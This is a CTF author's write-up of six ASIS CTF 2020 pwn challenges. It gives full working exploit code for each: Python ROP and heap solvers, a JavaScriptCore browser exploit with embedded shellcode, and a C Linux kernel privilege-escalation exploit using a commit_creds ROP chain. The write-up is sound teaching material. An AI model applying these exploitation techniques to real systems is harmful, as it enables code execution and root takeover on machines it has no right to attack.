ASIS CTF 2020 Quals - Pwn Writeup
2020-07-06 00:06:22 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:1928 收藏

I wrote the 6 pwn tasks of ASIS CTF 2020 Quals. Here is the brief overview of them.

Challenge Vulnerability Estimated Difficulty
Full Protection stack overflow, fsb warmup
babynote integer overflow (to get out-of-bound address write) easy
tthttpd stack overflow (to get arbitrary file read), blind fsb medium
Safari Park integer overflow (to get oob rw) medium-hard (Browser Exploit)
Invisible use after free hard
Shared House off-by-null (to get uaf) very hard (Kernel Exploit)

I hope you enjoyed them. The tasks and solvers are here:

bitbucket.org

This is a warmup task for pwn beginners. As the title suggests, the binary is fully armored.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols     Yes      2               4       chall

However, the binary has obvious Stack Overflow (by gets) and FSB (by printf). You can use FSB to leak the canary and libc address, then use Stack Overflow to overwrite the return address.

from ptrlib import *

libc = ELF("../distfiles/libc-2.27.so")
sock = Process("../distfiles/chall")
rop_pop_ret = 0x00021560
rop_pop_rdi = 0x0002155f

sock.sendline("%p."*(5 + 0x40//8 + 3))
r = sock.recvline().split(b'.')
libc_base = int(r[-2], 16) - libc.symbol('__libc_start_main') - 0xe7
canary = int(r[-4], 16)
logger.info("libc = " + hex(libc_base))
logger.info("canary = " + hex(canary))

payload  = b'\x00' * 0x48
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(libc_base + rop_pop_ret)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock.sendline(payload)

sock.interactive()

Protections are enabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   83 Symbols     Yes      0               4       chall

At first glance, this challenge looks like a normal heap task. The program first asks the maximum number of notes and allocates an array by alloca. Notes are not initialized with NULL and we can leak libc address by printing data pointed by a decent address.

It uses readuint to get a number, which properly discards negative values. However, the result is cast to short thus it causes integer overflow for some numbers such as 0xFFFF.

This means we can actually add some value to rsp because we can pass a negative value to alloca. In this way you can overwrite the stack data of higher addresses. However, what we can write is the address of heap (returned by calloc). As the saved rbp is also in our target, we can use this to take a control.

Just prepare your ROP chain on the heap and overwrite saved rbp with the chunk address.

from ptrlib import *

def new(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    return sock.recvlineafter(": ")
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))

libc = ELF("../distfiles/libc-2.27.so")
sock = Process("../distfiles/chall")

free_mem = 0x199e10
rop_pop_rdi = 0x0002155f
rop_pop_rdx_rsi = 0x001306d9
rop_ret = 0x00021560

sock.sendlineafter(": ", str(0xffff))


libc_base = u64(show(28)) - free_mem
logger.info("libc = " + hex(libc_base))


payload  = p64(0)
"""
payload += p64(libc_base + rop_ret)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
"""
payload += p64(libc_base + rop_pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('execve'))

new(6, 0x40, payload)


sock.sendlineafter("> ", "0")

sock.interactive()

The binary is a simple HTTP server.

$ checksec -f tthttpd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   90 Symbols     No       0               6       tthttpd

It has stack overflow but you can't simply use ROP since it calls exit instead of using return. Also, there's an FSB which is caused by syslog function of libc.

You can read whatever file by abusing the overflow. The intended solution is first read /proc/self/maps to leak the libc address. Then, you can use FSB to overwrite __free_hook or whatever.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Socket("0.0.0.0", 9005)
one_gadget = 0x4f322


payload  = "GET /proc/self/maps"
payload += "\x00" * (0x800 - len(payload))
payload += "/////////\xff"
sock.send(payload)
payload = "Connection: Keep-Alive\r\n\r\n"
sock.send(payload)
sock.recvuntil("\r\n\r\n")
while True:
    l = sock.recvline()
    if b'libc' in l:
        break
libc_base = int(l[:l.index(b'-')], 16)
logger.info("libc = " + hex(libc_base))


call_realloc = 0x31c5c
call_memalign = 0x9b670
target = 0xffffffffdeadbeef
writes = {
    libc_base + libc.symbol('__malloc_hook'): libc_base + call_realloc,
    libc_base + libc.symbol('__realloc_hook'): libc_base + one_gadget
}
fsbpayload = fsb(
    pos=24,
    written=8,
    writes=writes,
    bs=1,
    delta=5,
    bits=64
)
payload  = b"GET ////" + fsbpayload
payload += b"\x00" * (0x800 - len(payload))
payload += b"AAAAAAAAA\r\n\r\n"
sock.send(payload)

sock.interactive()

However, you could actually use the Arbitrary File Read primitive to read /home/pwn/flag.txt...... This is the worst mistake I've ever made in writing CTF tasks. From now on, I will put an executable or use random file name instead of flag.txt for every challenge...

It was the first time to write a browser exploit challenge. Actually I wasn't planning to write one, but I discarded a challenge because of a trouble on deploy and I made this one instead.

The patch adds a method named Array.prototype.shrink.

+EncodedJSValue JSC_HOST_CALL arrayProtoFuncShrink(JSGlobalObject* globalObject, CallFrame* callFrame)
+{
+    VM& vm = globalObject->vm();
+    auto scope = DECLARE_THROW_SCOPE(vm);
+
+    JSObject* thisObject = callFrame->thisValue().toThis(globalObject, ECMAMode::strict()).toObject(globalObject);
+    EXCEPTION_ASSERT(!!scope.exception() == !thisObject);
+    if (UNLIKELY(!thisObject))
+        return encodedJSValue();
+
+    JSValue newLengthValue = callFrame->uncheckedArgument(0);
+    int64_t newLength = newLengthValue.toInteger(globalObject);
+    int64_t length = static_cast<int64_t>(toLength(globalObject, thisObject));
+    RETURN_IF_EXCEPTION(scope, encodedJSValue());
+
+    JSValue result;
+    if (newLength <= length) {
+        ArrayStorage *storage = thisObject->butterfly()->arrayStorage();
+        storage->setVectorLength(newLength);
+        storage->setLength(newLength);
+        result = jsNumber(newLength);
+    } else {
+        throwRangeError(globalObject, scope, "New size is bigger than original array size."_s);
+        return encodedJSValue();
+    }
+
+    scope.release();
+    return JSValue::encode(result);
+}

The vulnerability is a sort of Integer Overflow. Since the length is treated as int64_t, it allows negative size as the argument of shrink. (Or you can also forge length to big one.) This is the PoC of the vulnerability:

var a = [1.1, 2.2, 3.3];
var b = [1.1, {}];
a.x = 3.14;
b.x = 3.14;
a.shrink(-0xfffffff0);
ret = a[9];
print(ret);

Using this, we can easily make addrof and fakeobj primitives. So, the challenge is mostly about bypassing WebKit mitigation: structureID randomization and gigacage.

Gigacage is meaningless as we can use butterfly or WebAssembly (if we know the structureID of the object). The version of JSC has a patch against strucctureID leak. However, you can actually leak the id using String object. (This bug can be found by checking commits around the parent commit)

After bypassing the mitigation, it's a normal browser exploit.




var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}
function hex(x) {
    if (x < 0) return `-${hex(-x)}`
    return `0x${x.toString(16)}`
}




function pwn()
{
    
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    let module = new WebAssembly.Module(buffer);
    var instance = new WebAssembly.Instance(module);
    var main = instance.exports.main;

    
    var stage1 = {
        addrof: function(obj) {
            var a = [1.1, 2.2, 3.3];
            var b = [1.1, obj]
            a.x = 3.14;
            b.x = 3.14;
            a.shrink(-0xfffffff0);
            ret = a[9];
            delete a
            delete b
            return ret;
        },
        fakeobj: function(addr) {
            var a = [1.1, 2.2, 3.3]; 
            var b = [1.1, {}];
            a.x = 3.14;
            b.x = 3.14;
            a.shrink(-0xfffffff0);
            a[9] = addr;
            ret = b[1];
            delete a
            delete b
            return ret;
        }
    };

    
    var evil = [1.1, 2.2, 3.3, 4.4];
    evil.p0 = 3.14; 

    
    
    {
        i32[0] = 2;
        i32[1] = 0; 
        var fakeModeLen = f64[0];
        var fakeStringObject = {
            modeLen: fakeModeLen,
            butterfly: evil
        }
        var addr_fakestr = i2f(f2i(stage1.addrof(fakeStringObject)) + 0x10);
        var fakeStr = stage1.fakeobj(addr_fakestr);
        i32[0] = 0xdead; 
        i32[1] = 0x01180100 - 0x20000; 
        var fakeJSCell = f64[0];
        var fakeJSObject = {
            JSCell: fakeJSCell,
            butterfly: fakeStr
        }
        var addr_fake = i2f(f2i(stage1.addrof(fakeJSObject)) + 0x10);
        var fakeObj = stage1.fakeobj(addr_fake);
        x = fakeObj.toString();
        if (x.charCodeAt(0) < 0x80 && x.charCodeAt(1) < 0x80) {
            
            var sid = x.charCodeAt(0) | (x.charCodeAt(1) << 8);
            var meta = x.charCodeAt(4) | (x.charCodeAt(5) << 8)
                | (x.charCodeAt(6) << 16) | (x.charCodeAt(7) << 24);
            i32[0] = x.charCodeAt(8) | (x.charCodeAt(9) << 8)
                | (x.charCodeAt(10) << 16) | (x.charCodeAt(11) << 24);
            i32[1] = x.charCodeAt(12) | (x.charCodeAt(13) << 8)
                | (x.charCodeAt(14) << 16) | (x.charCodeAt(15) << 24);
            var butterfly = f64[0];
        } else {
            
            var sid = x.charCodeAt(0) | (x.charCodeAt(1) << 8);
            var meta = x.charCodeAt(2) | (x.charCodeAt(3) << 16);
            i32[0] = x.charCodeAt(4) | (x.charCodeAt(5) << 16);
            i32[1] = x.charCodeAt(6) | (x.charCodeAt(7) << 16);
            var butterfly = f64[0];
        }
        print("[+] sid = " + hex(sid));
        print("[+] meta = " + hex(meta));
        print("[+] butterfly = " + hex(f2i(butterfly)))
    }
    
    
    
    var victim = stage1.fakeobj(butterfly);
    i32[0] = sid;
    i32[1] = meta;
    evil[0] = f64[0];

    
    var stage2 = {
        aar64: function(addr) {
            evil[1] = addr;
            return victim[0];
        },
        aaw64: function(addr, val) {
            evil[1] = addr;
            victim[0] = val;
        }
    }

    
    var addr_main = f2i(stage1.addrof(main));
    print("[+] addr_main = " + hex(addr_main));
    var addr_code = f2i(stage2.aar64(i2f(addr_main + 0x28)));
    print("[+] addr_code = " + hex(addr_code));

    
    var shellcode = [
        3.881017456213327e-308, 1.3226630881879291e+213,
        4.349693030470885e+199, 1.6532613234162982e+184,
        5.43231273974412e-309, 1.238567325343229e-308,
        6.867659397698158e+246, -3.985959746423108e-73,
        -7.161105510817759e-74, 1.638223e-318
    ];
    for(var i = 0; i < shellcode.length; i++) {
        stage2.aaw64(i2f(addr_code + i * 8), shellcode[i]);
    }

    main();
}

pwn();

Shellcode:

bits 64
global _start
section .text
_start:
  xor eax, eax
  xor edx, edx
  push rdx
  call arg2
  db "/bin/ls /; /bin/cat /flag*", 0
arg2:
  call arg1
  db "-c", 0
arg1:
  call arg0
  db "/bin/sh", 0
arg0:
  pop rdi
  push rdi
  mov rsi, rsp
  mov al, 59
  syscall
  xor edi, edi
  xor eax, eax
  mov al, 60
  syscall

You can spray objects to guess the structureID instead of abusing the String bug. (The success rate of your exploit may not become that high though.)

This challenge is based on a heap challenge "Re-alloc" from pwnable.tw. The vulnerability lies in the edit function. We can call free inside realloc by giving 0 as the size. The obstacle is that this program is running with libc-2.23, which means we can't abuse tcache.

The first thing we need to do is corrupt fastbin and pop the fake chunk. You can easily corrupt the link of fastbin but can't pop it as there are only two notes available. Here is a piece of exploit to corrupt fastbin link.

    add(0, 0x68, "A")
    add(1, 0x68, "B")
    edit(0, 0x00, "")
    delete(1)
    delete(0)
    add(0, 0x68, p64(addr_fake_chunk))

Now fastbin for size 0x70 looks like this:

B --> A -->fake_chunk

Be noticed that delete(1) consolidates chunk B with top, so as delete(0). Currently the heap looks like this:

+-->+-------+
|   |   A   |---> fake chunk
|   +-------+ <-- top
+---|   B   |
    +-------+

Next, I did something like this:

    add(1, 0x68, "A"*0x10) 
    edit(1, 0x78, "B"*0x10)
    delete(1)
    add(1, 0x68, "C"*0x10) 
    edit(1, 0x78, "D"*0x10)
    delete(1)
    add(1, 0x68, "E"*0x10) 
    edit(1, 0x78, "F"*0x10)
    delete(1)

Since top points to B, the re-allocated chunk (size 0x78) overlaps with the freed chunk (size 0x68). Now the next malloc will pop the fake chunk.

I used the fake chunk at 0x60208d around stdout pointer. In this way we can overwrite note pointer list.

I pointed ptr[0] to ptr and ptr[1] to somewhere near alarm@got. Also created a fake chunk after that, which will be used later.

        payload = b'\0' * 3
        payload += p64(elf.got('puts')) + p64(0x21) 
        payload += p64(elf.symbol('ptr')) + p64(elf.got('alarm') + i - 0x33)
        payload += p64(0) + p64(0x21)
        payload += p64(0) + p64(elf.got('strchr') - 8) 
        add(1, 0x68, payload) 
        
        edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))

You can edit the buffer since realloc won't do anything for smaller size.

The program puts null bytes after the data. I used this for 5 times to overwrite a pointer around alarm@got to make 0x7f on GOT, which can be used as a new fake chunk.

After that, we can use the fake chunk with size header set to 0x7f to fully control GOT :)

from ptrlib import *

def add(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def edit(index, size, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    if size > 0:
        sock.sendafter(": ", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))

elf = ELF("../distfiles/chall")
libc = ELF("../distfiles/libc-2.23.so")
addr_fake_chunk = 0x60208d

while True:
    sock = Socket("69.172.229.147", 9003)

    
    add(0, 0x68, "A")
    add(1, 0x68, "B")
    edit(0, 0x00, "")
    delete(1)
    delete(0)
    add(0, 0x68, p64(addr_fake_chunk))
    add(1, 0x68, "A"*0x10) 
    edit(1, 0x78, "B"*0x10)
    delete(1)
    add(1, 0x68, "C"*0x10) 
    edit(1, 0x78, "D"*0x10)
    delete(1)
    add(1, 0x68, "E"*0x10) 
    edit(1, 0x78, "F"*0x10)
    delete(1)

    
    for i in range(5):
        payload = b'\0' * 3
        payload += p64(elf.got('puts')) + p64(0x21) 
        payload += p64(elf.symbol('ptr')) + p64(elf.got('alarm') + i - 0x33)
        payload += p64(0) + p64(0x21)
        payload += p64(0) + p64(elf.got('strchr') - 8) 
        add(1, 0x68, payload) 

        
        edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))

        if i < 4:
            fake_chunk  = p64(0) + p64(0x71)
            fake_chunk += p64(addr_fake_chunk)
            add(1, 0x78, fake_chunk) 
            edit(1, 0x00, "")
            edit(0, 0x18, p64(elf.symbol('ptr')) + b'\xa0')
            delete(1)
            if b'/home' in sock.recv(8): 
                logger.warn("Bad luck!")
                break
            add(1, 0x78, fake_chunk) 
            delete(1)
            add(1, 0x68, "dummy")
            edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))
    else:
        break


fake_chunk  = p64(0) + p64(0x71)
fake_chunk += p64(elf.got('alarm') - 11)
add(1, 0x78, fake_chunk)
edit(1, 0x00, "")
edit(0, 0x18, p64(elf.symbol('ptr')) + b'\xa0')
delete(1)
add(1, 0x78, fake_chunk) 
delete(1)
add(1, 0x68, "dummy")
edit(0, 0x18, p64(elf.symbol('ptr')) + p64(0))


payload = b'\0' * 3
payload += p64(elf.plt('read') + 6)
payload += p64(0x400a8f)             
payload += p64(elf.plt('malloc') + 6)
payload += p64(elf.plt('realloc') + 6)
payload += p64(elf.plt('puts') + 6)  
payload += p64(elf.symbol('_start')) 
add(1, 0x68, payload[:-1])


sock.sendafter("> ", "X\0")
libc_base = u64(sock.recvline()) - libc.symbol('puts') 
sock.recvline() 
logger.info("libc = " + hex(libc_base))


"""
lea rcx, [rax*8]     <--- rax=5 because puts(stdout) was called
lea rax, ptr
mov rax, [rcx + rax] <-- ptr[5]
mov rsi, rax
lea rdi, "data: "
call readline
"""
payload = b'/bin/sh\0'
payload += p64(libc_base + libc.symbol('system')) 
sock.sendafter(": ", payload)

sock.interactive()

It seems some teams solved this challenge wth an easier unintended solution.

Kernel exploit challenge.

qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic

KASLR, SMEP are enabled and KPTI, SMAP are disabled. There's a kernel driver named note.ko which can keep one chunk of size from 0 to 0x80 allocated by kmalloc. The vulnerability is a simple off-by-null. When we write data of the maximum size of the note, a NULL byte will be written to the first byte of the adjacent chunk.

We can control the SLAB link because SLAB doesn't have chunk header like ptmalloc does. This causes Use After Free in the kernel-land.

The problem is that we can allocate only 1 chunk through the driver, which is useless. So, we need to use some proper structs which are native to the linux kernel. You can check my article about useful structures in kernel exploitation.

Anyway, the first thing we have to do is heap spray. We need to make sure that the adjacent chunk is freed and controllable afterwards. Then, we can overlap a chunk of the target SLAB to leak kernel address.

I used msg_msg for the spray.

  
  int qid;
  if ((qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
    perror("msgget");
    return -1;
  }
  msgbuf.mtype = 1;
  memset(msgbuf.mtext, 'A', sizeof(msgbuf.mtext));
  
  for(int i = 0; i < 0x21; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
      perror("msgsnd");
      return -1;
    }
  }

  
  new(0x80);
  store(0x80, (void*)buf); 
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  socket(22, AF_INET, 0); 
  load(0x80, (void*)buf);
  kbase = buf[3] - call_usermodehelper_exec_work;
  printf("[+] kbase = 0x%016lx\n", kbase);

Same principle, I leaked heap address through msg_msg and get rip by seq_operations. When corrupting kmalloc-32, I put a valid heap address (actually of kmalloc-128 though) so that the kernel won't crash when using system calls such as execve.

Here's the final exploit:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define CMD_ALLOC  0xc12ed001
#define CMD_DELETE 0xc12ed002
#define CMD_STORE  0xc12ed003
#define CMD_LOAD   0xc12ed004

unsigned long kbase, kheap;
unsigned long call_usermodehelper_exec_work = 0x060160;
unsigned long commit_creds = 0x069c10;
unsigned long prepare_kernel_cred = 0x069e00;
unsigned long run_cmd = 0x06a180;
unsigned long msleep = 0x09a950;

unsigned long rop_mov_esp_5d000010 = 0x02cae0;
unsigned long rop_pop_rcx = 0x0368fa;
unsigned long rop_pop_rax = 0x005de4;
unsigned long rop_pop_rdi_dec_ecx = 0x038bf9;
unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f;
unsigned long rop_mov_prax_rdi_pop_rbp = 0x0eaea1;
unsigned long rop_swapgs_pop_rbp = 0x03ef24;
unsigned long rop_iretq = 0x01d5c6;

int fd;

struct {
  int size;
  char *note;
} cmd;
int new(int size) {
  cmd.size = size;
  cmd.note = NULL;
  return ioctl(fd, CMD_ALLOC, (void*)&cmd);
}
int delete() {
  cmd.size = 0;
  cmd.note = NULL;
  return ioctl(fd, CMD_DELETE, (void*)&cmd);
}
int store(int size, char *note) {
  cmd.size = size;
  cmd.note = note;
  return ioctl(fd, CMD_STORE, (void*)&cmd);
}
int load(int size, char *note) {
  cmd.size = size;
  cmd.note = note;
  return ioctl(fd, CMD_LOAD, (void*)&cmd);
}

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
  puts("[-] bye!");
  exit(0);
}

struct {
  long mtype;
  char mtext[0x80];
} msgbuf;


int main(void) {
  unsigned long buf[0x80];
  memset(buf, 'X', 0x80);
  save_state();

  char *command = malloc(0x80);
  strcpy(command, "/bin/chmod 777 /flag");

  fd = open("/dev/note", O_RDWR);
  if (fd < 0) {
    perror("/dev/note");
    return 1;
  }

  
  int qid;
  if ((qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
    perror("msgget");
    return -1;
  }
  msgbuf.mtype = 1;
  memset(msgbuf.mtext, 'A', sizeof(msgbuf.mtext));
  
  for(int i = 0; i < 0x21; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
      perror("msgsnd");
      return -1;
    }
  }

  
  new(0x80);
  store(0x80, (void*)buf); 
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  socket(22, AF_INET, 0); 
  load(0x80, (void*)buf);
  kbase = buf[3] - call_usermodehelper_exec_work;
  printf("[+] kbase = 0x%016lx\n", kbase);

  
  unsigned long *chain = (unsigned long*)
    mmap((void*)(0x5d000000 - 0x8000),
         0x10000,
         PROT_READ | PROT_WRITE,
         0x20 | MAP_ANON | MAP_SHARED | MAP_POPULATE,
         -1, 0);
  if ((unsigned long)chain != 0x5d000000 - 0x8000) {
    perror("mmap");
    return 1;
  }
  chain += 0x8010 / sizeof(unsigned long);
  *chain++ = kbase + rop_pop_rdi_dec_ecx;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred;
  *chain++ = kbase + rop_pop_rcx;
  *chain++ = 0;
  *chain++ = kbase + rop_mov_rdi_rax_pop_rbp;
  *chain++ = 0xdeadbeefcafebabe;
  *chain++ = kbase + commit_creds;
  *chain++ = kbase + rop_swapgs_pop_rbp;
  *chain++ = 0xdeadbeefcafebabe;
  *chain++ = kbase + rop_iretq;
  *chain++ = (unsigned long)&win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = 0x5d000000;
  *chain++ = user_ss;

  
  delete();
  for(int i = 0; i < 3; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  }
  memset(buf, 'X', 0x80);

  
  new(0x80);
  store(0x80, (void*)buf); 
  delete();
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  new(0x80);
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) return 1;
  load(0x80, (void*)buf);
  kheap = buf[1];
  printf("[+] kheap = 0x%016lx\n", kheap);
  if (kheap == 0x80) {
    puts("[-] Bad luck...");
    return 1;
  }

  
  
  for(int i = 0; i < 0x83; i++) { 
    open("/proc/self/stat", O_RDONLY);
  }

  
  delete();
  new(0x20);
  buf[0] = kheap; 
  store(0x20, (void*)buf); 
  open("/proc/self/stat", O_RDONLY);
  int victim = open("/proc/self/stat", O_RDONLY); 

  
  buf[0] = kbase + rop_mov_esp_5d000010; 
  store(0x20, (void*)buf);

  
  read(victim, buf, 1); 

  return 0;
}
  • I was planning to enable SMAP but I didn't because I thought it'd be too hard for 48h CTF. Perhaps that was a right decision...

文章来源: https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622
如有侵权请联系:admin#unsafe.sh